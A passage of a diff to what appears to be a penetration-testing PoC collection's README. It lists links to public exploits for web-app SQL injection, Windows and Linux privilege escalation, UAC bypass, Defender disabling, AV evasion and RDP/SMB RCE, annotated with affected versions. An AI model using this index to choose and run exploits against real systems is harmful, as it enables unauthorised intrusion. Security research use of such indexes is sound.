ProductDetail.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-ProductNewVersion-ProductDetail-sqli.html) +- [孚盟云CRM ProductSelect.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-ProductNewVersion-ProductSelect-sqli.html) +- [CVE-2026-8054 高危前台无需认证 SQL 注入漏洞(Pre-auth SQL Injection)分析复现](https://mrxn.net/jswz/dotcms-api-auditPublishing-pre-auth-sqli.html) | [CVE-2026-8054](https://github.com/Mr-xn/CVE-2026-8054) +- [孚盟云CRM ProviderList.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Provider-ProviderList-sqli.html) +- [孚盟云CRM ProductDetail.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-ProductDetail-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 user_expire_post SQL注入漏洞](https://mrxn.net/jswz/bigant-admin-dept-user_expire_post-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 uploadMultipleFile 任意文件上传漏洞](https://mrxn.net/jswz/bigant-addin-Upload-uploadMultipleFile-rce.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 Pan/Upload/upload 文件上传漏洞](https://mrxn.net/jswz/bigant-Pan-Upload-upload.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 getFileTrueAddress SQL注入漏洞](https://mrxn.net/jswz/bigant-pan-file-getFileTrueAddress-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 downloadSharedFile 任意文件读取漏洞](https://mrxn.net/jswz/bigant-ShareUrl-downloadSharedFile-fileread.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 clearUserDevice SQL注入漏洞](https://mrxn.net/jswz/bigant-admin-user-clearUserDevice-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 admin/secret/edit SQL注入漏洞](https://mrxn.net/jswz/bigant-admin-secret-edit-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 admin/Upload/upload 文件上传漏洞](https://mrxn.net/jswz/bigant-admin-Upload-upload-rce.html) +- [LiteLLM v1.84.0 安全漏洞完整分析报告](https://mrxn.net/jswz/LiteLLM_v1840_security_analysis.html) +- [用友U8Cloud XChangeServlet SQL注入漏洞+XXE漏洞](https://mrxn.net/jswz/yonyou-u8c-XChangeServlet-xxe-sqli.html) +- [CVE-2026-63030 + CVE-2026-60137: pre-authentication SQL injection in WordPress core via REST batch-route confusion.](https://github.com/47Cid/wp2shell-lab) | [wp2shell-poc](https://github.com/Icex0/wp2shell-poc) | [wp2shell-单文件利用+批量检测](https://github.com/Mr-xn/wp2shell) | [wp2shell+lab](https://github.com/0xsha/wp2shell) | [CVE-2026-63030:wp2shell vulhub](https://github.com/vulhub/vulhub/tree/master/wordpress/CVE-2026-63030) +- [Fastjson 1.2.68-1.2.83 版本默认配置在特定场景下的反序列化RCE实现](https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC) | [fastjson-jsontype-rce-lab](https://github.com/dinosn/fastjson-jsontype-rce-lab) | [2026FastjsonPoC](https://github.com/ThanatosXingYu/2026FastjsonPoC) +- [Fastjson 1.2.83 默认配置下的远程代码执行RCE](https://mrxn.net/jswz/fastjson-1-2-83-default-config-rce.html) +- [redis-poc: RCE PoC for Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0](https://github.com/berabuddies/redis-poc) +- [用友U8Cloud extsystem.dst 接口SQL注入漏洞](https://mrxn.net/jswz/yonyou-u8c-extsystem-dst-sqli.html) +- [金和OA C6 PlanGiveOut.aspx SQL注入漏洞+越权访问IDOR漏洞+XSS漏洞](https://mrxn.net/jswz/jhsoft-PlanGiveOut-planid-httpOID-sqli.html) ## 提权辅助相关 -- [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) +- [windows-kernel-exploits Windows平台提权漏洞集合(Windows XP - Windows 10/Server 2019)](https://github.com/SecWiki/windows-kernel-exploits) - [windows 溢出提权小记](https://klionsec.github.io/2017/04/22/win-0day-privilege/)/[本地保存了一份+Linux&Windows提取脑图](./tools/Local%20Privilege%20Escalation.md) - [Windows常见持久控制脑图](./tools/Windows常见持久控制.png) -- [CVE-2019-0803 Win32k漏洞提权工具](./CVE-2019-0803) -- [脏牛Linux提权漏洞](https://github.com/Brucetg/DirtyCow-EXP)-[reverse_dirty-更改的脏牛提权代码,可以往任意文件写入任意内容](https://github.com/Rvn0xsy/reverse_dirty)|[linux_dirty:更改后的脏牛提权代码,可以往任意文件写入任意内容,去除交互过程](https://github.com/Rvn0xsy/linux_dirty)|[dirtycow-mem:脏牛利用C源码](https://github.com/sqlnetcat/dirtycow-mem)-[文章](https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA)-[备份](https://archive.ph/wip/NCL3w)-[备份1](https://web.archive.org/web/20220918065539/https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA) +- [CVE-2019-0803 Win32k漏洞提权工具(Windows 7/8/10, Server 2008/2012/2016/2019)](./vuln_pocs/cve/CVE-2019-0803) +- [脏牛Linux提权漏洞(CVE-2016-5195,Linux kernel 2.6.22 - 4.8.2)](https://github.com/Brucetg/DirtyCow-EXP)-[reverse_dirty-更改的脏牛提权代码,可以往任意文件写入任意内容](https://github.com/Rvn0xsy/reverse_dirty)|[linux_dirty:更改后的脏牛提权代码,可以往任意文件写入任意内容,去除交互过程](https://github.com/Rvn0xsy/linux_dirty)|[dirtycow-mem:脏牛利用C源码](https://github.com/sqlnetcat/dirtycow-mem)-[文章](https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA)-[备份](https://archive.ph/wip/NCL3w)-[备份1](https://web.archive.org/web/20220918065539/https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA)|[CVE-2016-5195:timwr实现的Android版Dirty Cow利用工具](https://github.com/timwr/CVE-2016-5195) - [远控免杀从入门到实践之白名单(113个)](https://github.com/TideSec/BypassAntiVirus)|[远控免杀从入门到实践之白名单(113个)总结篇.pdf](./books/远控免杀从入门到实践之白名单(113个)总结篇.pdf) -- [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) +- [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME(Linux kernel < 5.1.17,aarch64架构)](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) - [Linux权限提升辅助一键检测工具](https://github.com/mzet-/linux-exploit-suggester) - [将powershell脚本直接注入到进程中执行来绕过对powershell.exe的限制](https://github.com/EmpireProject/PSInject) - [CVE-2020-2696 – Local privilege escalation via CDE dtsession](https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c) -- [CVE-2020-0683-利用Windows MSI “Installer service”提权](https://github.com/padovah4ck/CVE-2020-0683/) +- [CVE-2020-0683-利用Windows MSI “Installer service”提权(Windows 7/8.1/10, Server 2008/2012/2016/2019)](https://github.com/padovah4ck/CVE-2020-0683/) - [Linux sudo提权辅助工具—查找sudo权限配置漏洞](https://github.com/TH3xACE/SUDO_KILLER) -- [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) +- [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞(Windows 10 ≥ build 1903 使用UsoDllLoader;Windows < build 1903 使用diaghub)](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) - [Linux提取-Linux kernel XFRM UAF poc (3.x - 5.x kernels)2020年1月前没打补丁可测试](https://github.com/duasynt/xfrm_poc) -- [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) +- [linux-kernel-exploits Linux平台提权漏洞集合(覆盖 Linux 2.4 - 5.x 内核版本)](https://github.com/SecWiki/linux-kernel-exploits) - [Linux提权辅助检测Perl脚本](https://github.com/jondonas/linux-exploit-suggester-2)|[Linux提权辅助检测bash脚本](https://github.com/mzet-/linux-exploit-suggester)|[Unix-PrivEsc:本地 Unix 系统提权集合](https://github.com/FuzzySecurity/Unix-PrivEsc) -- [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf)|[CVE-2020-0796](https://github.com/ran-sama/CVE-2020-0796) +- [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost(Windows 10 version 1903/1909)](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf)|[CVE-2020-0796](https://github.com/ran-sama/CVE-2020-0796) - [getAV---windows杀软进程对比工具单文件版](./tools/getAV/) - [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配Cobalt Strike的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato)|[RoguePotato:又一个 Windows 提权工具](https://github.com/antonioCoco/RoguePotato) - [【Windows提权工具】SweetPotato修改版,用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf)|[JuicyPotato修改版-可用于webshell](https://github.com/uknowsec/JuicyPotato)|[JuicyPotatoNG:另一个 juicypotato](https://github.com/antonioCoco/JuicyPotatoNG)|[DCOMPotato: Some Service DCOM Object and SeImpersonatePrivilege abuse.](https://github.com/zcgonvh/DCOMPotato)|[GodPotato: 适用于Windows 2012 - Windows 2022的土豆提权工具](https://github.com/BeichenDream/GodPotato) @@ -791,63 +908,76 @@ - [【Windows提权 Windows 10&Server 2019】PrintSpoofer-Abusing Impersonation Privileges on Windows 10 and Server 2019](https://github.com/itm4n/PrintSpoofer)|[配合文章食用-pipePotato复现](./books/pipePotato复现.pdf)|[Windows 权限提升 BadPotato-已经在Windows 2012-2019 8-10 全补丁测试成功](https://github.com/BeichenDream/BadPotato) - [【Windows提权】Windows 下的提权大合集](https://github.com/lyshark/Windows-exploits) - [【Windows提权】-CVE-2020-1048 | PrintDemon本地提权漏洞-漏洞影响自1996年以来发布(Windows NT 4)的所有Windows版本](https://github.com/ionescu007/PrintDemon) -- [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法](https://github.com/hfiref0x/UACME) +- [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法(Windows 7 - Windows 11,各方法适用build范围不同)](https://github.com/hfiref0x/UACME) - [CVE-2020–1088: Windows wersvc.dll 任意文件删除本地提权漏洞分析](https://medium.com/csis-techblog/cve-2020-1088-yet-another-arbitrary-delete-eop-a00b97d8c3e2) -- [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP](https://github.com/sailay1996/WerTrigger) -- [【Windows提权】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) +- [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP(Windows 7/8.1/10, Server 2008/2012/2016/2019)](https://github.com/sailay1996/WerTrigger) +- [【Windows提权 Windows 7/Server 2008 R2】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) - [【Windows提权】CVE-2020-0787-EXP-ALL-WINDOWS-VERSION-适用于Windows所有版本的提权EXP](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)|[CVE-2020-0787:提权带回显](https://github.com/yanghaoi/CVE-2020-0787)|[CVE-2020-0787_CNA:适用于Cobalt Strike的CVE-2020-0787提权文件](https://github.com/yanghaoi/CobaltStrike_CNA/tree/main/ReflectiveDllSource/CVE-2020-0787_CNA) -- [【Windows提权】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) +- [【Windows提权 Windows 7/8.1/10, Server 2008/2012/2016/2019】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) - [【Linux提权】对Linux提权的简单总结](./books/对Linux提权的简单总结.pdf) -- [【Windows提权】wesng-Windows提权辅助脚本](https://github.com/bitsadmin/wesng)|[Windows-Exploit-Suggester:又一个 Windows 提权辅助Python脚本](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) -- [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。](https://github.com/hlldz/dazzleUP) -- [【Windows提权】KernelHub-近二十年Windows权限提升集合](https://github.com/Ascotbe/KernelHub) +- [【Windows提权】wesng-Windows提权辅助脚本(Windows XP - Windows 11,支持所有Server版本)](https://github.com/bitsadmin/wesng)|[Windows-Exploit-Suggester:又一个 Windows 提权辅助Python脚本](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) +- [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。(漏洞检查:Windows 10 build 1809/1903/1909/2004;配置检查:所有Windows版本)](https://github.com/hlldz/dazzleUP) +- [【Windows提权】KernelHub-近二十年Windows权限提升集合(Windows 2000 - 2023)](https://github.com/Ascotbe/KernelHub) - [【Windows提权】Priv2Admin-Windows提权工具](https://github.com/gtworek/Priv2Admin) -- [【windows提权】利用有漏洞的技嘉驱动程序来加载恶意的驱动程序提升权限或干掉驱动级保护的杀软](https://github.com/alxbrn/gdrv-loader)|[备份地址](https://github.com/Mr-xn/gdrv-loader) -- [【windows提权】byeintegrity-uac:通过劫持位于本机映像缓存中的DLL绕过UAC](https://github.com/AzAgarampur/byeintegrity-uac) -- [【Windows 提权】InstallerFileTakeOver:Windows Installer 本地提权漏洞PoC](https://github.com/klinix5/InstallerFileTakeOver) -- [【Linux 提权】CVE-2021-4034:Linux Polkit 权限提升漏洞(pkexec)](https://github.com/berdav/CVE-2021-4034)|[PwnKit:cve-2021-4034,可获得交互式shell或者执行单个命令](https://github.com/ly4k/PwnKit)|[cve-2021-4034:单命令执行版本](https://github.com/wudicainiao/cve-2021-4034)|[CVE-2021-4034-NoGCC:CVE-2021-4034简单优化,以应对没有安装gcc和make的目标环境](https://github.com/EstamelGG/CVE-2021-4034-NoGCC) -- [【Windows 提权】CVE-2022-21882:win32k LPE bypass CVE-2021-1732](https://github.com/KaLendsi/CVE-2022-21882)|[又一个CVE-2022-21882提权工具](https://github.com/L4ys/CVE-2022-21882) -- [【Windows 提权】CVE-2022-21999:Windows 打印机提权漏洞(此漏洞是去年打印机提权漏洞Printnightmare的续集)](https://github.com/ly4k/SpoolFool) -- [【Windows 提权】CVE-2022-29072:7-Zip帮助页面命令注入漏洞](https://github.com/kagancapar/CVE-2022-29072) +- [【windows提权 Windows 7/10 x64】利用有漏洞的技嘉驱动程序来加载恶意的驱动程序提升权限或干掉驱动级保护的杀软](https://github.com/alxbrn/gdrv-loader)|[备份地址](https://github.com/Mr-xn/gdrv-loader) +- [【windows提权】byeintegrity-uac:通过劫持位于本机映像缓存中的DLL绕过UAC(Windows 7 build 7600 至最新版本)](https://github.com/AzAgarampur/byeintegrity-uac) +- [【Windows 提权 Windows 10/11, Server 2019/2022】InstallerFileTakeOver:Windows Installer 本地提权漏洞PoC](https://github.com/klinix5/InstallerFileTakeOver) +- [【Linux 提权】CVE-2021-4034:Linux Polkit pkexec 权限提升漏洞(所有主流Linux发行版,polkit < 0.120)](https://github.com/berdav/CVE-2021-4034)|[PwnKit:cve-2021-4034,可获得交互式shell或者执行单个命令](https://github.com/ly4k/PwnKit)|[cve-2021-4034:单命令执行版本](https://github.com/wudicainiao/cve-2021-4034)|[CVE-2021-4034-NoGCC:CVE-2021-4034简单优化,以应对没有安装gcc和make的目标环境](https://github.com/EstamelGG/CVE-2021-4034-NoGCC) +- [【Windows 提权 Windows 10 20H2 (build 19042)】CVE-2022-21882:win32k LPE bypass CVE-2021-1732](https://github.com/KaLendsi/CVE-2022-21882)|[又一个CVE-2022-21882提权工具](https://github.com/L4ys/CVE-2022-21882) +- [【Windows 提权】CVE-2022-21999:Windows 打印机提权漏洞,支持所有Windows桌面版本(此漏洞是去年打印机提权漏洞Printnightmare的续集)](https://github.com/ly4k/SpoolFool) +- [【Windows 提权】CVE-2022-29072:7-Zip帮助页面命令注入漏洞(7-Zip 21.07,Windows)](https://github.com/kagancapar/CVE-2022-29072) - [PEASS-ng:提权检测工具,支持 Windows 和 Linux](https://github.com/carlospolop/PEASS-ng) - [【Linux提权】LinEnum:Linux 提权检查脚本](https://github.com/rebootuser/LinEnum) -- [【Windows 提权】sam-the-admin:CVE-2021-42278 and CVE-2021-42287域内提权](https://github.com/WazeHell/sam-the-admin) -- [【Windows 提权】KrbRelayUp:域内提权](https://github.com/Dec0ne/KrbRelayUp) -- [【Windows 提权】Auto-Elevate:通过bypass UAC 和令牌模拟提权到 system权限](https://github.com/FULLSHADE/Auto-Elevate) -- [【Linux 提权】CVE-2021-4204:Linux Kernel eBPF Local Privilege Escalation](https://github.com/tr3ee/CVE-2021-4204) -- [【Linux 提权】CVE-2022-23222:Linux Kernel eBPF Local Privilege Escalation](https://github.com/tr3ee/CVE-2022-23222) +- [【Windows 提权】sam-the-admin:CVE-2021-42278 and CVE-2021-42287域内提权(Active Directory域环境,2021年11月补丁前)](https://github.com/WazeHell/sam-the-admin) +- [【Windows 提权】KrbRelayUp:域内提权(未强制LDAP签名的默认AD域环境,通用无补丁提权)](https://github.com/Dec0ne/KrbRelayUp) +- [【Windows 提权 Windows 10 21H1】Auto-Elevate:通过bypass UAC 和令牌模拟提权到 system权限](https://github.com/FULLSHADE/Auto-Elevate) +- [【Linux 提权】CVE-2021-4204:Linux Kernel eBPF Local Privilege Escalation(Linux kernel 5.8 - 5.16)](https://github.com/tr3ee/CVE-2021-4204) +- [【Linux 提权】CVE-2022-23222:Linux Kernel eBPF Local Privilege Escalation(Linux kernel 5.15.0 - 5.15.20)](https://github.com/tr3ee/CVE-2022-23222) - [【Windows 提权】PrivExchange:通过滥用Exchange将您的权限交换为域管理权限](https://github.com/dirkjanm/PrivExchange) -- [【Windows 提权】PetitPotam:替代PrintBug用于本地提权的新方式,主要利用MS-EFSR协议中的接口函数](https://github.com/crisprss/PetitPotam) -- [【Windows 提权】DiagTrackEoP:绕过服务账户限制滥用DiagTrack服务与SeImpersonate权限进行权限提升](https://github.com/Wh04m1001/DiagTrackEoP) -- [【Windows 提权】WinPwnage:UAC bypass, Elevate, Persistence methods](https://github.com/rootm0s/WinPwnage) -- [【Windows 提权】CVE-2022-31262:GOG Galaxy LPE Exploit](https://github.com/secure-77/CVE-2022-31262) +- [【Windows 提权】PetitPotam:替代PrintBug用于本地提权的新方式,主要利用MS-EFSR协议中的接口函数(所有Windows Server版本,需MS-EFSR服务)](https://github.com/crisprss/PetitPotam) +- [【Windows 提权 Windows 10/Server 2019】DiagTrackEoP:绕过服务账户限制滥用DiagTrack服务与SeImpersonate权限进行权限提升](https://github.com/Wh04m1001/DiagTrackEoP) +- [【Windows 提权】WinPwnage:UAC bypass, Elevate, Persistence methods(Windows 7 build 7600 - Windows 10,各方法支持的build范围不同)](https://github.com/rootm0s/WinPwnage) +- [【Windows 提权】CVE-2022-31262:GOG Galaxy LPE Exploit(GOG Galaxy 2.0.46 - 2.0.51,Windows)](https://github.com/secure-77/CVE-2022-31262) - [【Linux】CVE-2021-4034:pkexec 本地提权漏洞](https://github.com/arthepsy/CVE-2021-4034)|[又一个cve-2021-4034](https://github.com/Silencecyber/cve-2021-4034) -- [【Linux 提权】CVE-2021-4154:Linux Kernel 资源管理错误漏洞](https://github.com/Markakd/CVE-2021-4154) -- [【Linux 提权】CVE-2022-34918:netfilter nf_tables 本地提权](https://github.com/veritas501/CVE-2022-34918) -- [【Linux 提权】CVE-2022-1972-infoleak-PoC:Linux-netfilter-越界写入漏洞](https://github.com/randorisec/CVE-2022-1972-infoleak-PoC) -- [【Linux 提权】CVE-2022-32250-exploit](https://github.com/theori-io/CVE-2022-32250-exploit) -- [Elevator:UAC Bypass by abusing RPC and debug objects.](https://github.com/Kudaes/Elevator) -- [【Linux 提权】CVE-2022-2639-PipeVersion](https://github.com/avboy1337/CVE-2022-2639-PipeVersion) -- [【Linux 提权】CVE-2022-2588](https://github.com/Markakd/CVE-2022-2588) -- [【Windows 提权】PetitPotato:通过PetitPotam进行本地提权](https://github.com/wh0Nsq/PetitPotato) -- [LocalPotato:一个使用新potato技术来进行windows本地提权](https://github.com/decoder-it/LocalPotato) -- [EfsPotato:Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability)](https://github.com/zcgonvh/EfsPotato) -- [【Linux 提权】CVE-2023-32233: Linux Kernel 权限提升漏洞](https://github.com/Liuk3r/CVE-2023-32233) -- [【Linux 提权】CVE-2023-0386: Linux OverlayFS权限提升漏洞](https://github.com/veritas501/CVE-2023-0386) -- [【Linux提权】CVE-2023-2008: Linux Kernel 权限提升漏洞](https://github.com/bluefrostsecurity/CVE-2023-2008) -- [【win提权】CVE-2023-21752: Windows 备份服务特权提升漏洞](https://github.com/Wh04m1001/CVE-2023-21752) -- [【win提权】CVE-2023-29343: Windows 特权提升漏洞的 SysInternals Sysmon](https://github.com/Wh04m1001/CVE-2023-29343) -- [【Linux提权】CVE2023-1829: Linux Kernel 权限提升漏洞](https://github.com/lanleft/CVE2023-1829) +- [【Linux 提权】CVE-2021-4154:Linux Kernel 资源管理错误漏洞(Linux kernel 5.1 - 5.16,需unprivileged user namespaces)](https://github.com/Markakd/CVE-2021-4154) +- [【Linux 提权】CVE-2022-34918:netfilter nf_tables 本地提权(Linux kernel < 5.18.13,需unprivileged user namespaces)](https://github.com/veritas501/CVE-2022-34918) +- [【Linux 提权】CVE-2022-1972-infoleak-PoC:Linux-netfilter-越界写入漏洞(需开启unprivileged user namespaces)](https://github.com/randorisec/CVE-2022-1972-infoleak-PoC) +- [【Linux 提权】CVE-2022-32250-exploit(Linux kernel < 5.18.13,Ubuntu ≤ 22.04未打补丁)](https://github.com/theori-io/CVE-2022-32250-exploit) +- [Elevator:UAC Bypass by abusing RPC and debug objects.(Windows Server 2016/2019, Windows 10/11 x64,build 19045.3570前)](https://github.com/Kudaes/Elevator) +- [【Linux 提权】CVE-2022-2639-PipeVersion(Linux kernel 3.13 - 5.17)](https://github.com/avboy1337/CVE-2022-2639-PipeVersion) +- [【Linux 提权】CVE-2022-2588(Linux kernel 3.17 - 5.18,需user namespaces)](https://github.com/Markakd/CVE-2022-2588) +- [【Windows 提权】PetitPotato:通过PetitPotam进行本地提权(支持所有Windows版本,含Server 2022 21H2)](https://github.com/wh0Nsq/PetitPotato) +- [LocalPotato(CVE-2023-21746):一个使用新potato技术来进行Windows本地提权(Windows 10/11, Server 2019/2022;HTTP/WebDAV场景在打补丁后仍可用)](https://github.com/decoder-it/LocalPotato) +- [EfsPotato:Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability)(适用于具有SeImpersonatePrivilege权限的Windows环境)](https://github.com/zcgonvh/EfsPotato) +- [【Linux 提权】CVE-2023-32233: Linux Kernel 权限提升漏洞(Linux kernel < 6.3.1,测试于Ubuntu 23.04 kernel 6.2.0-20-generic)](https://github.com/Liuk3r/CVE-2023-32233) +- [【Linux 提权】CVE-2023-0386: Linux OverlayFS权限提升漏洞(Linux kernel < 6.2)](https://github.com/veritas501/CVE-2023-0386) +- [【Linux提权】CVE-2023-2008: Linux Kernel 权限提升漏洞(Linux kernel < 5.19-rc4,Ubuntu 22.04,需kvm组权限)](https://github.com/bluefrostsecurity/CVE-2023-2008) +- [【win提权】CVE-2023-21752: Windows 备份服务特权提升漏洞(Windows,2023年1月补丁前)](https://github.com/Wh04m1001/CVE-2023-21752) +- [【win提权】CVE-2023-29343: Windows 特权提升漏洞的 SysInternals Sysmon(Sysmon v14.14,2023年4月补丁前)](https://github.com/Wh04m1001/CVE-2023-29343) +- [【Linux提权】CVE2023-1829: Linux Kernel 权限提升漏洞(Linux kernel 5.15,测试于Ubuntu 22.04 kernel 5.15.0-25.25)](https://github.com/lanleft/CVE2023-1829) +- [【Windows提权 Windows 10/11, Server 2019/2022(含Defender)】RedSun:滥用Windows Defender云标签行为覆盖系统文件并获得管理员权限](https://github.com/Nightmare-Eclipse/RedSun) +- [【Windows Defender DOS】UnDefend:无需管理员权限,被动模式下阻止Defender签名更新,激进模式下在Windows平台更新时完全禁用Windows Defender](https://github.com/Nightmare-Eclipse/UnDefend) +- [【Windows提权】CVE-2026-0827:Lenovo LdeApi.Server.exe 无模拟写文件本地提权漏洞——低权限用户可创建 NTFS junction 使服务以 SYSTEM 权限向任意位置写文件](https://github.com/ZeroMemoryEx/CVE-2026-0827) +- [【Linux提权】CVE-2026-31431:Linux Copy Fail提权](https://github.com/theori-io/copy-fail-CVE-2026-31431) | [CVE-2026-31431](https://github.com/rootsecdev/cve_2026_31431) | [Copy-Fail-CVE-2026-31431-Kubernetes-PoC](https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC) +- [【Linux提权】Dirty Frag:Universal Linux LPE(CVE-2026-43284 / CVE-2026-43500,影响主流 Linux 发行版)](https://github.com/V4bel/dirtyfrag) +- [【Linux提权】CIFSwitch:利用 cifs.upcall 与 NSS 加载链进行本地提权 PoC](https://github.com/manizada/CIFSwitch) +- [CACM:一款Linux权限维持+后渗透工具,功能涵盖端口扫描、敏感信息、指纹识别、IP伪装、键盘监控、进程隐藏、edr/av识别、权限维持、docker敏感信息扫描、ssh连接伪装等](https://github.com/RuoJi6/CACM) +- [【Linux提权】RootHawk:整合多种已公开本地提权漏洞(如 Dirty Pipe、PwnKit、Polkit 3560 等)的一键化 Linux 提权检测与利用工具](https://github.com/RoadBicycle-C/RootHawk) +- [【Linux提权】CVE-2026-43503:(DirtyClone)是一个演示 Linux 内核 Dirty‑COW 类漏洞的新型本地提权 PoC,利用网络栈共享内存处理缺陷实现对只读页缓存的非法写入并获取 root 权限。](https://github.com/0xBlackash/CVE-2026-43503) +- [【Linux提权】CVE‑2026‑46331:packet_edit_meme](https://github.com/sgkdev/packet_edit_meme):Linux 内核本地提权 PoC,利用 act_pedit 的 partial‑COW 缺陷实现页缓存投毒,从而在不修改磁盘文件的情况下获取 root 权限。 +- [【Linux提权】 CVE‑2026‑46242(Bad Epoll):](https://github.com/0xBlackash/CVE-2026-46242) 是 Linux 内核 epoll 子系统中出现的严重 use‑after‑free 本地提权漏洞。 +- [【Windows提取】CVE-2026-54121](https://github.com/aniqfakhrul/CVE-2026-54121):利用 Certighost 漏洞伪造域控(Domain Controller)的证书,从而获得 域控级别的 Kerberos 身份,最终实现 完全接管整个 Active Directory 域 +- [【Windows提取】CVE‑2026‑49176](https://github.com/777erp/CVE-2026-49176_BOF):(Windows WalletService 本地提权漏洞) 的 本地缓冲区溢出(BOF)风格的 PoC/Exploit ## PC -- [ 微软RDP远程代码执行漏洞(CVE-2019-0708)](./BlueKeep)-[CVE-2019-0708-EXP-Windows-CVE-2019-0708-EXP-Windows版单文件exe版,运行后直接在当前控制台反弹System权限Shell](https://github.com/cbwang505/CVE-2019-0708-EXP-Windows) +- [微软RDP远程代码执行漏洞(CVE-2019-0708)](./vuln_pocs/exploit-tools/BlueKeep)-[CVE-2019-0708-EXP-Windows-CVE-2019-0708-EXP-Windows版单文件exe版,运行后直接在当前控制台反弹System权限Shell](https://github.com/cbwang505/CVE-2019-0708-EXP-Windows) -- [CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python) +- [CVE-2019-0708-python版](./vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python) - [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010) -- [macOS-Kernel-Exploit](./macOS-Kernel-Exploit) +- [macOS-Kernel-Exploit](./vuln_pocs/exploit-tools/macOS-Kernel-Exploit) - [CVE-2019-1388 UAC提权 (nt authority\system)](https://github.com/jas502n/CVE-2019-1388) @@ -871,11 +1001,11 @@ - [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674) -- [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) +- [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./web/CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) - [Linux平台-CVE-2020-8597: PPPD 远程代码执行漏洞](https://github.com/marcinguy/CVE-2020-8597) -- 